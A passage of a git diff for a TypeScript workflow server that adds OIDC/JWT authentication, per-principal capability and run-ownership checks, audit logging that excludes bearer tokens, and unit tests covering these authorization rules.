*/ +async function discoverJwksUri(issuer: string): Promise { + const url = `${issuer.replace(/\/+$/, "")}/.well-known/openid-configuration`; + const res = await fetch(url); + if (!res.ok) throw new Error(`OIDC discovery failed: ${url} returned ${res.status}`); + const doc = (await res.json()) as { jwks_uri?: unknown }; + if (typeof doc.jwks_uri !== "string" || doc.jwks_uri.length === 0) { + throw new Error(`OIDC discovery document at ${url} has no jwks_uri`); + } + return doc.jwks_uri; +} + +/** + * Map a `jose` verification error to the HTTP failure shape. Expired, + * wrong-audience/issuer, unknown-key, and bad-signature tokens are all client + * errors (401 with a distinguishing code/message); a JWKS fetch/timeout is a + * server-side dependency failure (503) so a client is not told its valid token + * is invalid when the IdP is unreachable. + */ +function mapVerifyError(err: unknown): AuthFail { + if (err instanceof joseErrors.JWTExpired) { + return { ok: false, status: 401, code: "E_TOKEN_EXPIRED", message: "token has expired" }; + } + if (err instanceof joseErrors.JWTClaimValidationFailed) { + return { ok: false, status: 401, code: "E_TOKEN_INVALID", message: `token claim "${err.claim}" is invalid` }; + } + if (err instanceof joseErrors.JWKSNoMatchingKey) { + return { ok: false, status: 401, code: "E_TOKEN_INVALID", message: "token signed by an unknown key" }; + } + if (err instanceof joseErrors.JWKSTimeout) { + return { ok: false, status: 503, code: "E_AUTH_UNAVAILABLE", message: "identity provider key set is unavailable" }; + } + if (err instanceof joseErrors.JOSEError) { + return { ok: false, status: 401, code: "E_TOKEN_INVALID", message: "token verification failed" }; + } + // A non-jose error means the JWKS could not be fetched/discovered. + return { ok: false, status: 503, code: "E_AUTH_UNAVAILABLE", message: "identity provider is unavailable" }; +} + +/** OIDC/JWT authenticator. JWKS is resolved lazily and cached (with refetch on unknown kid). */ +function createOidcAuthenticator(cfg: OidcConfig): Authenticator { + type Jwks = ReturnType; + let jwks: Jwks | undefined; + let pending: Promise | undefined; + + async function resolveJwks(): Promise { + if (jwks) return jwks; + if (!pending) { + pending = (async (): Promise => { + const uri = cfg.jwksUri ?? (await discoverJwksUri(cfg.issuer)); + const set = createRemoteJWKSet(new URL(uri)); + jwks = set; + return set; + })().catch((err) => { + // Let the next request retry discovery rather than caching the failure. + pending = undefined; + throw err; + }); + } + return pending; + } + + return { + enabled: true, + mode: "oidc", + async authenticate(header): Promise { + const token = bearerToken(header); + if (token === null) return unauthorized("missing bearer token"); + let keys: Jwks; + try { + keys = await resolveJwks(); + } catch (err) { + return mapVerifyError(err); + } + try { + const { payload } = await jwtVerify(token, keys, { issuer: cfg.issuer, audience: cfg.audience }); + const subject = typeof payload.sub === "string" && payload.sub.length > 0 ? payload.sub : "unknown"; + return { + ok: true, + principal: { subject, capabilities: capabilitiesFromClaims(payload), ownsAllRuns: false }, + }; + } catch (err) { + return mapVerifyError(err); + } + }, + }; +} + +/** + * Build the authenticator for the resolved config. OIDC wins over a static + * token when both are present; with neither, open mode (anonymous, all + * capabilities) is returned. + */ +export function createAuthenticator(config: AuthConfig): Authenticator { + if (config.oidc) return createOidcAuthenticator(config.oidc); + if (config.token) return createStaticAuthenticator(config.token); + const principal = openPrincipal(); + return { + enabled: false, + mode: "none", + authenticate: () => Promise.resolve({ ok: true, principal }), + }; +} diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index 58502f81..96a21ff0 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -5,6 +5,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { ServeHandler, type RunRecord, type ServeRequest, type ServeResponse } from "./handler"; import { hashArgs } from "./run-store"; +import type { Authenticator, Capability, Principal } from "./auth"; import type { StreamTarget } from "./runfiles"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; @@ -50,6 +51,9 @@ function makeHandler(overrides?: { maxArtifactBytes?: number; initialRuns?: RunRecord[]; persistRun?: (record: RunRecord) => void; + authenticator?: Authenticator; + exposeDocs?: boolean; + log?: (line: string) => void; }): ServeHandler { let n = 0; return new ServeHandler({ @@ -58,6 +62,9 @@ function makeHandler(overrides?: { getTools: () => overrides?.tools ?? [BUILD_TOOL], callTool: overrides?.callTool ?? (async () => ({ text: "done", isError: false, exitStatus: 0 })), token: overrides?.token, + authenticator: overrides?.authenticator, + exposeDocs: overrides?.exposeDocs, + log: overrides?.log, maxConcurrent: overrides?.maxConcurrent ?? 4, retainRuns: overrides?.retainRuns, retainAgeSec: overrides?.retainAgeSec, @@ -144,6 +151,177 @@ test("with no token configured, /v1/* is open (loopback default)", async () => { assert.equal(res.status, 200); }); +// === authorization: capabilities + ownership (OIDC-style principals) === +// +// A stub authenticator lets these unit tests exercise the capability + +// ownership contract without JWTs (the real JWT verification path is covered +// end-to-end in integration/serve-auth.test.ts). + +function principal(subject: string, caps: Capability[], ownsAllRuns = false): Principal { + return { subject, capabilities: new Set(caps), ownsAllRuns }; +} + +/** Authenticator that maps a fixed principal to every request. */ +function principalAuth(p: Principal): Authenticator { + return { enabled: true, mode: "oidc", authenticate: () => Promise.resolve({ ok: true, principal: p }) }; +} + +/** Authenticator that resolves a principal by bearer token, else 401. */ +function tokenAuth(map: Record): Authenticator { + return { + enabled: true, + mode: "oidc", + authenticate: (header) => { + const m = /^Bearer\s+(.+)$/.exec(header ?? ""); + const p = m ? map[m[1]] : undefined; + return Promise.resolve( + p ? { ok: true, principal: p } : { ok: false, status: 401, code: "E_UNAUTHORIZED", message: "no" }, + ); + }, + }; +} + +test("authz: a principal without the invoke capability cannot create a run (403)", async () => { + const h = makeHandler({ authenticator: principalAuth(principal("alice", ["inspect", "cancel"])) }); + const res = await h.handleRequest( + req("POST", "/v1/workflows/build/runs", { headers: { "content-type": "application/json" }, body: JSON.stringify({ target: "x" }) }), + ); + assert.equal(res.status, 403); + assert.equal(bodyJson(res).error.code, "E_FORBIDDEN"); +}); + +test("authz: a principal without the inspect capability cannot list or read runs (403)", async () => { + const h = makeHandler({ authenticator: principalAuth(principal("alice", ["invoke"])) }); + assert.equal((await h.handleRequest(req("GET", "/v1/runs"))).status, 403); + assert.equal((await h.handleRequest(req("GET", "/v1/workflows"))).status, 403); + assert.equal((await h.handleRequest(req("GET", "/v1/runs/whatever"))).status, 403); +}); + +test("authz: a principal without the cancel capability cannot cancel a run it owns (403)", async () => { + const p = principal("alice", ["invoke", "inspect"]); + const h = makeHandler({ + tools: [NOARG_TOOL], + authenticator: principalAuth(p), + callTool: () => new Promise(() => {}), + }); + const start = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs"))); + assert.equal(start.status, "running"); + const cancel = await h.handleRequest(req("POST", `/v1/runs/${start.run_id}/cancel`)); + assert.equal(cancel.status, 403); + assert.equal(bodyJson(cancel).error.code, "E_FORBIDDEN"); +}); + +test("authz: a principal cannot inspect or cancel another principal's runs (404, not leaked)", async () => { + const alice = principal("alice", ["invoke", "inspect", "cancel"]); + const bob = principal("bob", ["invoke", "inspect", "cancel"]); + const h = makeHandler({ + tools: [NOARG_TOOL], + authenticator: tokenAuth({ "alice-tok": alice, "bob-tok": bob }), + callTool: async () => ({ text: "ok", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + const aliceHdr = { authorization: "Bearer alice-tok" }; + const bobHdr = { authorization: "Bearer bob-tok" }; + const run = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true", { headers: aliceHdr }))); + assert.equal(run.principal, "alice", "the run records its creating principal"); + + // Bob cannot see or cancel Alice's run — indistinguishable from nonexistent. + assert.equal((await h.handleRequest(req("GET", `/v1/runs/${run.run_id}`, { headers: bobHdr }))).status, 404); + assert.equal((await h.handleRequest(req("GET", `/v1/runs/${run.run_id}/events`, { headers: bobHdr }))).status, 404); + assert.equal((await h.handleRequest(req("GET", `/v1/runs/${run.run_id}/artifacts`, { headers: bobHdr }))).status, 404); + assert.equal((await h.handleRequest(req("POST", `/v1/runs/${run.run_id}/cancel`, { headers: bobHdr }))).status, 404); + // Bob's listing excludes it entirely. + assert.equal(bodyJson(await h.handleRequest(req("GET", "/v1/runs", { headers: bobHdr }))).total, 0); + + // Alice sees her own run. + const aliceGet = await h.handleRequest(req("GET", `/v1/runs/${run.run_id}`, { headers: aliceHdr })); + assert.equal(aliceGet.status, 200); + assert.equal(bodyJson(await h.handleRequest(req("GET", "/v1/runs", { headers: aliceHdr }))).total, 1); +}); + +test("docs exposure can be disabled (404) while /healthz stays open", async () => { + const h = makeHandler({ exposeDocs: false, token: "secret" }); + assert.equal((await h.handleRequest(req("GET", "/docs"))).status, 404); + assert.equal((await h.handleRequest(req("GET", "/openapi.json"))).status, 404); + assert.equal((await h.handleRequest(req("GET", "/healthz"))).status, 200); +}); + +test("audit: invoke and cancel log the principal + correlation, never the bearer token", async () => { + const logs: string[] = []; + const alice = principal("alice", ["invoke", "inspect", "cancel"]); + const TOKEN = "super-secret-jwt-value"; + let runPromise!: Promise; + const h = makeHandler({ + tools: [NOARG_TOOL], + authenticator: tokenAuth({ [TOKEN]: alice }), + log: (l) => logs.push(l), + callTool: (_spec, _args, _runId, ctx) => { + runPromise = new Promise((resolve) => { + ctx.onCancelHandle?.(() => resolve({ text: "t", isError: true, exitStatus: 1, signal: "SIGINT" })); + }); + return runPromise; + }, + }); + const hdr = { authorization: `Bearer ${TOKEN}`, "x-correlation-id": "cid-1" }; + const start = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs", { headers: hdr }))); + assert.equal(start.principal, "alice", "the public run object carries the audit principal"); + assert.equal(start.correlation_id, "cid-1"); + + await h.handleRequest(req("POST", `/v1/runs/${start.run_id}/cancel`, { headers: { authorization: `Bearer ${TOKEN}` } })); + await runPromise.catch(() => {}); + + const joined = logs.join("\n"); + assert.match(joined, /invoked — principal=alice correlation=cid-1/, "invoke is audited with who + correlation"); + assert.match(joined, /cancelled — principal=alice/, "cancel is audited with who"); + assert.ok(!joined.includes(TOKEN), "the audit log never contains the bearer token"); +}); + +test("authz: an MCP SSE tools/call is owned and audited by the authenticated principal (not anonymous)", async () => { + const alice = principal("alice", ["invoke", "inspect", "cancel"]); + const h = makeHandler({ + tools: [NOARG_TOOL], + authenticator: tokenAuth({ tok: alice }), + callTool: async () => ({ text: "pong", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + const res = await h.handleRequest( + req("POST", "/mcp", { + headers: { "content-type": "application/json", accept: "text/event-stream", authorization: "Bearer tok" }, + body: JSON.stringify({ jsonrpc: "2.0", id: 20, method: "tools/call", params: { name: "ping", arguments: {} } }), + }), + ); + assert.ok(res.stream, "SSE tools/call drives a stream"); + await res.stream!(fakeTarget()); + // The run the deferred SSE stream created carries alice's identity — proof the + // request context is re-established inside the stream body. + const listed = bodyJson(await h.handleRequest(req("GET", "/v1/runs", { headers: { authorization: "Bearer tok" } }))); + assert.equal(listed.total, 1); + assert.equal(listed.runs[0].principal, "alice"); +}); + +test("authz: MCP tools/call without invoke is a JSON-RPC authorization error and spawns nothing", async () => { + let started = 0; + const h = makeHandler({ + authenticator: principalAuth(principal("alice", ["inspect"])), + callTool: async () => { + started += 1; + return { text: "x", isError: false, exitStatus: 0 }; + }, + }); + const res = await h.handleRequest( + req("POST", "/mcp", { + headers: { "content-type": "application/json" }, + body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "build", arguments: { target: "x" } } }), + }), + ); + assert.equal(res.status, 200); + assert.equal(bodyJson(res).error.code, -32003); + assert.equal(started, 0, "an unauthorized MCP call never reaches the executor"); + // tools/list only needs inspect, which alice has. + const list = await h.handleRequest( + req("POST", "/mcp", { headers: { "content-type": "application/json" }, body: JSON.stringify({ jsonrpc: "2.0", id: 2, method: "tools/list" }) }), + ); + assert.ok(bodyJson(list).result, "tools/list is allowed with the inspect capability"); +}); + // === POST run: validation === test("POST run for an unknown workflow is 404", async () => { diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 97655406..827ed26b 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -1,4 +1,5 @@ -import { createHash, randomUUID, timingSafeEqual } from "node:crypto"; +import { randomUUID } from "node:crypto"; +import { AsyncLocalStorage } from "node:async_hooks"; import { statSync } from "node:fs"; import { basename, join } from "node:path"; import type { McpToolSpec } from "../mcp/tools"; @@ -14,6 +15,7 @@ import { type StreamTarget, } from "./runfiles"; import { hashArgs } from "./run-store"; +import { createAuthenticator, openPrincipal, type Authenticator, type Capability, type Principal } from "./auth"; /** 1 MiB cap on request bodies (design doc). */ export const MAX_BODY_BYTES = 1024 * 1024; @@ -54,8 +56,14 @@ export interface RunRecord { * when the create carried no `Idempotency-Key`. */ idempotency_key?: string; - /** Principal the idempotency key is scoped to (persisted for reconstruction). */ + /** + * Authenticated principal (subject) that created the run. The audit identity + * — never a token — that also scopes idempotency and ownership. Persisted for + * reconstruction. `anonymous`/`operator` in open/static mode. + */ principal?: string; + /** Request/correlation id attached at create time (audit + telemetry). */ + correlation_id?: string; /** SHA-256 of the run's canonical args, compared to reject a reused key with changed args. */ args_hash?: string; /** @@ -113,8 +121,24 @@ export interface ServeHandlerOptions { runId: string, ctx: WorkflowCallContext, ) => Promise; - /** Bearer token; when set, every `/v1/*` request must present it. */ + /** + * Static single-operator bearer token. When set (and no `authenticator` is + * injected) every `/v1/*` and `/mcp` request must present it. Single-operator, + * not multi-tenant — for per-user identity/authorization pass an `authenticator`. + */ token?: string; + /** + * Authentication/authorization engine. When omitted the handler builds one + * from `token` (static) or, with neither, open mode (anonymous, all + * capabilities). The serve command injects the OIDC/JWT authenticator here. + */ + authenticator?: Authenticator; + /** + * Expose `GET /docs` (Swagger UI) and `GET /openapi.json`. Default `true`; + * `false` returns 404 for both so a hardened deployment can hide its API + * surface. `/healthz` is always available and credential-free. + */ + exposeDocs?: boolean; /** Cap on simultaneously-running workflows (429 beyond it). */ maxConcurrent: number; /** @@ -208,10 +232,24 @@ export class ServeHandler { * `handleLine(line, write)`. */ private readonly mcp: McpServer; + /** Authentication/authorization engine (static/oidc/open). */ + private readonly auth: Authenticator; + /** Whether `/docs` and `/openapi.json` are exposed. */ + private readonly exposeDocs: boolean; + /** + * The authenticated principal + correlation id of the request in flight, + * propagated across every async step (including the MCP engine's `tools/call` + * dispatch) so capability checks, run ownership, audit logging, and telemetry + * identity all read one consistent identity without threading it as a param + * through every method. Absent only outside a request (defaults to open). + */ + private readonly reqCtx = new AsyncLocalStorage<{ principal: Principal; correlationId: string }>(); constructor(opts: ServeHandlerOptions) { this.opts = opts; this.newRunId = opts.newRunId ?? randomUUID; + this.auth = opts.authenticator ?? createAuthenticator({ token: opts.token }); + this.exposeDocs = opts.exposeDocs ?? true; this.mcp = new McpServer({ serverVersion: opts.version, getTools: opts.getTools, @@ -241,6 +279,10 @@ export class ServeHandler { args: Record, ctx: McpCallContext, ): Promise<{ text: string; isError: boolean }> { + const { principal } = this.currentCtx(); + if (!principal.capabilities.has("invoke")) { + return { text: `not authorized: the principal lacks the "invoke" capability`, isError: true }; + } const started = this.startRun(spec, args, { onStep: ctx.onStep, onCancelHandle: ctx.onCancelHandle }); if ("atCapacity" in started) { return { text: `too many concurrent runs (max ${this.opts.maxConcurrent})`, isError: true }; @@ -264,6 +306,7 @@ export class ServeHandler { ): { record: RunRecord; done: Promise } | { atCapacity: true } { if (this.inFlight() >= this.opts.maxConcurrent) return { atCapacity: true }; const runId = this.newRunId(); + const { principal, correlationId } = this.currentCtx(); const record: RunRecord = { run_id: runId, workflow: spec.workflow, @@ -276,10 +319,21 @@ export class ServeHandler { run_dir: null, cancelled: false, order: this.orderCounter++, + // Attach the authenticated identity at create time: this is the run's + // owner (inspect/cancel scope), audit subject, and idempotency scope. + principal: principal.subject, + correlation_id: correlationId || undefined, }; this.runs.set(runId, record); + this.opts.log?.( + `jaiph serve: run ${runId} invoked — principal=${principal.subject} correlation=${correlationId || "-"} workflow=${spec.workflow}`, + ); const ctx: WorkflowCallContext = { onStep: extra?.onStep, + // Identity for the detached telemetry export (OTLP resource attrs + Sentry + // tags). Never a token — only the audit subject and correlation id. + principal: principal.subject, + correlationId: correlationId || undefined, onCancelHandle: (cancelFn) => { // Wrap so every cancel path (REST /v1/.../cancel, MCP // notifications/cancelled, SSE hangup, cancelAll) marks the shared @@ -336,37 +390,79 @@ export class ServeHandler { } if (path === "/openapi.json") { if (method !== "GET") return this.methodNotAllowed(); + if (!this.exposeDocs) return this.error(404, "E_NOT_FOUND", `not found: ${path}`); return this.json(200, buildOpenApi(this.opts.getTools(), { title: this.opts.serverTitle, version: this.opts.version })); } if (path === "/docs") { if (method !== "GET") return this.methodNotAllowed(); + if (!this.exposeDocs) return this.error(404, "E_NOT_FOUND", `not found: ${path}`); return { status: 200, headers: { "content-type": "text/html; charset=utf-8" }, body: DOCS_HTML }; } - // The MCP Streamable HTTP endpoint and everything under /v1 are the two - // bearer-protected surfaces (when a token is configured); the same auth - // boundary guards both transports. + // The MCP Streamable HTTP endpoint and everything under /v1 share one + // authentication boundary. A verified request carries a Principal + // (capabilities + ownership) + correlation id through an AsyncLocalStorage, + // so authorization, ownership, audit, and telemetry read one identity + // consistently across both transports. if (path === "/mcp") { - if (!this.authorized(req)) { - return this.error(401, "E_UNAUTHORIZED", "missing or invalid bearer token"); - } - return this.handleMcp(req); + const auth = await this.auth.authenticate(req.headers["authorization"]); + if (!auth.ok) return this.error(auth.status, auth.code, auth.message); + return this.reqCtx.run({ principal: auth.principal, correlationId: this.correlationOf(req) }, () => this.handleMcp(req)); } if (path === "/v1" || path.startsWith("/v1/")) { - if (!this.authorized(req)) { - return this.error(401, "E_UNAUTHORIZED", "missing or invalid bearer token"); - } - return this.handleV1(req); + const auth = await this.auth.authenticate(req.headers["authorization"]); + if (!auth.ok) return this.error(auth.status, auth.code, auth.message); + return this.reqCtx.run({ principal: auth.principal, correlationId: this.correlationOf(req) }, () => this.handleV1(req)); } return this.error(404, "E_NOT_FOUND", `not found: ${path}`); } + /** Identity of the request in flight; open-mode default outside a request. */ + private currentCtx(): { principal: Principal; correlationId: string } { + return this.reqCtx.getStore() ?? { principal: openPrincipal(), correlationId: "" }; + } + + /** + * The request/correlation id for this request: an `X-Correlation-Id` / + * `X-Request-Id` header (sanitized, bounded) if the caller supplied one, else + * a fresh UUID. Newlines are stripped so it can never forge an audit log line. + */ + private correlationOf(req: ServeRequest): string { + const raw = req.headers["x-correlation-id"] ?? req.headers["x-request-id"]; + if (typeof raw === "string") { + const clean = raw.replace(/[\r\n]/g, "").trim().slice(0, 200); + if (clean.length > 0) return clean; + } + return randomUUID(); + } + + /** 403 for a principal missing a required capability. */ + private forbidden(cap: Capability): ServeResponse { + return this.error(403, "E_FORBIDDEN", `the principal lacks the "${cap}" capability`); + } + + /** + * Look up a run visible to the current principal. A run the principal does not + * own (and cannot see all of) is indistinguishable from a nonexistent one, so + * cross-principal access returns `undefined` → 404 rather than leaking that + * the run exists. + */ + private lookupRun(id: string): RunRecord | undefined { + const record = this.runs.get(id); + if (!record) return undefined; + const { principal } = this.currentCtx(); + if (!principal.ownsAllRuns && record.principal !== principal.subject) return undefined; + return record; + } + private handleV1(req: ServeRequest): ServeResponse | Promise { const { method, path } = req; + const { principal } = this.currentCtx(); if (path === "/v1/workflows") { if (method !== "GET") return this.methodNotAllowed(); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); const workflows = this.opts.getTools().map((t) => ({ name: t.name, description: t.description, params: t.params })); return this.json(200, { workflows }); } @@ -374,42 +470,49 @@ export class ServeHandler { const runPost = /^\/v1\/workflows\/([^/]+)\/runs$/.exec(path); if (runPost) { if (method !== "POST") return this.methodNotAllowed(); + if (!principal.capabilities.has("invoke")) return this.forbidden("invoke"); return this.createRun(req, decodeURIComponent(runPost[1])); } if (path === "/v1/runs") { if (method !== "GET") return this.methodNotAllowed(); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); return this.listRuns(req); } const events = /^\/v1\/runs\/([^/]+)\/events$/.exec(path); if (events) { if (method !== "GET") return this.methodNotAllowed(); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); return this.runEvents(req, decodeURIComponent(events[1])); } const artifactsList = /^\/v1\/runs\/([^/]+)\/artifacts$/.exec(path); if (artifactsList) { if (method !== "GET") return this.methodNotAllowed(); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); return this.listRunArtifacts(decodeURIComponent(artifactsList[1])); } const artifactGet = /^\/v1\/runs\/([^/]+)\/artifacts\/(.+)$/.exec(path); if (artifactGet) { if (method !== "GET") return this.methodNotAllowed(); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); return this.downloadArtifact(decodeURIComponent(artifactGet[1]), artifactGet[2]); } const cancel = /^\/v1\/runs\/([^/]+)\/cancel$/.exec(path); if (cancel) { if (method !== "POST") return this.methodNotAllowed(); + if (!principal.capabilities.has("cancel")) return this.forbidden("cancel"); return this.cancelRun(decodeURIComponent(cancel[1])); } const getRun = /^\/v1\/runs\/([^/]+)$/.exec(path); if (getRun) { if (method !== "GET") return this.methodNotAllowed(); - const record = this.runs.get(decodeURIComponent(getRun[1])); + if (!principal.capabilities.has("inspect")) return this.forbidden("inspect"); + const record = this.lookupRun(decodeURIComponent(getRun[1])); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); return this.json(200, this.toRunObject(record)); } @@ -463,9 +566,8 @@ export class ServeHandler { const idempotencyKey = req.headers["idempotency-key"]; let composite: string | undefined; let argsHash: string | undefined; - let principal: string | undefined; + const principal = this.currentCtx().principal.subject; if (typeof idempotencyKey === "string" && idempotencyKey.trim() !== "") { - principal = this.principalOf(req); composite = `${principal}\n${spec.workflow}\n${idempotencyKey.trim()}`; argsHash = hashArgs(args); const existingId = this.idempotencyIndex.get(composite); @@ -548,10 +650,33 @@ export class ServeHandler { const method = parsed && typeof parsed.method === "string" ? parsed.method : undefined; const wantsSse = (req.headers["accept"] ?? "").includes("text/event-stream"); + // Authorize the two capability-bearing MCP methods before doing any work: + // `tools/call` needs `invoke`, `tools/list` needs `inspect`. An + // insufficiently-scoped principal gets a JSON-RPC error and nothing spawns. + const { principal } = this.currentCtx(); + const requiredCap: Capability | undefined = + method === "tools/call" ? "invoke" : method === "tools/list" ? "inspect" : undefined; + if (requiredCap && !principal.capabilities.has(requiredCap)) { + return { + status: 200, + headers: { "content-type": "application/json" }, + body: JSON.stringify({ + jsonrpc: "2.0", + id: requestId ?? null, + error: { code: -32003, message: `not authorized: the principal lacks the "${requiredCap}" capability` }, + }), + }; + } + // A tools/call may emit progress; stream it as SSE when the client offers // that content type. The client hanging up cancels the run through the same // MCP cancel path (kills the child + Docker container). if (requestId !== undefined && method === "tools/call" && wantsSse) { + // The stream body runs after this method returns (outside the request's + // AsyncLocalStorage scope), so capture the identity and re-establish it + // there — otherwise the run this tools/call creates would be owned and + // audited as the anonymous principal instead of the authenticated caller. + const captured = this.currentCtx(); return { status: 200, headers: { "content-type": "text/event-stream", "cache-control": "no-cache", connection: "keep-alive" }, @@ -562,9 +687,11 @@ export class ServeHandler { JSON.stringify({ jsonrpc: "2.0", method: "notifications/cancelled", params: { requestId } }), ); }); - return this.mcp.handleLine(req.body, (m) => { - if (!target.aborted) target.write(`data: ${JSON.stringify(m)}\n\n`); - }); + return this.reqCtx.run(captured, () => + this.mcp.handleLine(req.body, (m) => { + if (!target.aborted) target.write(`data: ${JSON.stringify(m)}\n\n`); + }), + ); }, }; } @@ -588,9 +715,12 @@ export class ServeHandler { * them. `total` is the full registry size so a client can page through it. */ private listRuns(req: ServeRequest): ServeResponse { + const { principal } = this.currentCtx(); const limit = clampInt(req.query.get("limit"), DEFAULT_RUNS_PAGE, 1, MAX_RUNS_PAGE); const offset = clampInt(req.query.get("offset"), 0, 0, Number.MAX_SAFE_INTEGER); - const sorted = [...this.runs.values()].sort((a, b) => b.order - a.order); + // Only runs the principal owns (all runs for the operator/open principal). + const visible = [...this.runs.values()].filter((r) => principal.ownsAllRuns || r.principal === principal.subject); + const sorted = visible.sort((a, b) => b.order - a.order); const runs = sorted.slice(offset, offset + limit).map((r) => this.toRunObject(r)); return this.json(200, { runs, total: sorted.length, limit, offset }); } @@ -632,11 +762,15 @@ export class ServeHandler { } private cancelRun(id: string): ServeResponse { - const record = this.runs.get(id); + const record = this.lookupRun(id); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); if (isTerminal(record.status)) { return this.error(409, "E_RUN_TERMINAL", `run is already ${record.status}`); } + const { principal, correlationId } = this.currentCtx(); + this.opts.log?.( + `jaiph serve: run ${id} cancelled — principal=${principal.subject} correlation=${correlationId || "-"}`, + ); record.cancelled = true; record.cancel?.(); return { status: 202, headers: { "content-type": "application/json" }, body: JSON.stringify(this.toRunObject(record)) }; @@ -663,7 +797,7 @@ export class ServeHandler { * capture files are never served. */ private runEvents(req: ServeRequest, id: string): ServeResponse { - const record = this.runs.get(id); + const record = this.lookupRun(id); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); const wantsSse = (req.headers["accept"] ?? "").includes("text/event-stream"); const resolveRunDir = (): string | null => this.runDirFor(record); @@ -705,7 +839,7 @@ export class ServeHandler { /** `GET /v1/runs/{id}/artifacts`: JSON list of published files (empty when none). */ private listRunArtifacts(id: string): ServeResponse { - const record = this.runs.get(id); + const record = this.lookupRun(id); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); const dir = this.runDirFor(record); return this.json(200, { artifacts: dir ? listArtifacts(dir) : [] }); @@ -722,7 +856,7 @@ export class ServeHandler { * construction. */ private downloadArtifact(id: string, rawPath: string): ServeResponse { - const record = this.runs.get(id); + const record = this.lookupRun(id); if (!record) return this.error(404, "E_NOT_FOUND", "unknown run id"); const dir = this.runDirFor(record); if (!dir) return this.error(404, "E_NOT_FOUND", "unknown artifact"); @@ -782,32 +916,6 @@ export class ServeHandler { this.evictCompleted(); } - /** - * Opaque principal an idempotency key is scoped to. With a bearer token - * configured it is a hash of the presented token (so a future multi-token - * model scopes per caller); without one every caller shares `anonymous`. - * Never the raw token — the principal is persisted in `run.json`. - */ - private principalOf(req: ServeRequest): string { - if (!this.opts.token) return "anonymous"; - const header = req.headers["authorization"] ?? ""; - const match = /^Bearer\s+(.+)$/.exec(header); - const token = match ? match[1] : this.opts.token; - return createHash("sha256").update(token).digest("hex").slice(0, 16); - } - - private authorized(req: ServeRequest): boolean { - if (!this.opts.token) return true; - const header = req.headers["authorization"]; - if (!header) return false; - const match = /^Bearer\s+(.+)$/.exec(header); - if (!match) return false; - const provided = Buffer.from(match[1]); - const expected = Buffer.from(this.opts.token); - if (provided.length !== expected.length) return false; - return timingSafeEqual(provided, expected); - } - private toRunObject(r: RunRecord): Record { return { run_id: r.run_id, @@ -819,6 +927,9 @@ export class ServeHandler { signal: r.signal, result_text: r.result_text, run_dir: r.run_dir, + // Audit identity + correlation on the public run object (never a token). + principal: r.principal ?? null, + correlation_id: r.correlation_id ?? null, }; } diff --git a/src/cli/serve/run-store.ts b/src/cli/serve/run-store.ts index dbb987c0..6338a926 100644 --- a/src/cli/serve/run-store.ts +++ b/src/cli/serve/run-store.ts @@ -29,8 +29,10 @@ interface PersistedRun { run_dir: string | null; /** Composite idempotency key (`principal\nworkflow\nkey`), when the create carried one. */ idempotency_key?: string; - /** Opaque principal the idempotency key is scoped to. */ + /** Authenticated principal (audit subject) that created the run; scopes idempotency + ownership. */ principal?: string; + /** Request/correlation id attached at create time. */ + correlation_id?: string; /** SHA-256 of the run's canonical arguments, for idempotency conflict detection. */ args_hash?: string; } @@ -71,6 +73,7 @@ export function persistRunRecord(record: RunRecord): void { run_dir: record.run_dir, idempotency_key: record.idempotency_key, principal: record.principal, + correlation_id: record.correlation_id, args_hash: record.args_hash, }; const target = join(record.run_dir, PUBLIC_RUN_FILE); @@ -157,6 +160,7 @@ function reloadRun(runDir: string): RunRecord | null { order: 0, idempotency_key: parsed.idempotency_key, principal: parsed.principal, + correlation_id: parsed.correlation_id, args_hash: parsed.args_hash, }; } diff --git a/src/cli/telemetry/otlp.test.ts b/src/cli/telemetry/otlp.test.ts index c7658354..30a627eb 100644 --- a/src/cli/telemetry/otlp.test.ts +++ b/src/cli/telemetry/otlp.test.ts @@ -12,6 +12,7 @@ import { parseKeyValueList, resolveFlushBudgetMs, exportRunTelemetry, + exportOtlpTraces, deliverRunTelemetryDetached, telemetryDeliveryMetrics, type OtlpMeta, @@ -345,6 +346,47 @@ test("exportRunTelemetry: OTLP + Sentry run concurrently under one shared flush } }); +test("exportOtlpTraces: identity is exported as jaiph.principal / jaiph.correlation_id resource attributes", async () => { + const dir = mkdtempSync(join(tmpdir(), "jaiph-otlp-id-")); + let captured: Record | undefined; + const server: Server = createServer((req, res) => { + let body = ""; + req.setEncoding("utf8"); + req.on("data", (c: string) => (body += c)); + req.on("end", () => { + captured = JSON.parse(body) as Record; + res.writeHead(200, { "content-type": "application/json" }); + res.end("{}"); + }); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", () => r())); + const port = (server.address() as AddressInfo).port; + try { + writeFailedJournal(dir); + const outcome = await exportOtlpTraces( + { + runDir: dir, + workflow: "default", + exitStatus: 1, + signal: null, + env: { OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: `http://127.0.0.1:${port}/v1/traces` }, + identity: { principal: "alice", correlationId: "corr-123" }, + }, + 5000, + () => {}, + ); + assert.equal(outcome, "sent"); + const rs = (captured!.resourceSpans as Array>)[0]; + const attrs = (rs.resource as { attributes: Array<{ key: string; value: { stringValue?: string } }> }).attributes; + const get = (k: string): string | undefined => attrs.find((a) => a.key === k)?.value.stringValue; + assert.equal(get("jaiph.principal"), "alice"); + assert.equal(get("jaiph.correlation_id"), "corr-123"); + } finally { + await new Promise((r) => server.close(() 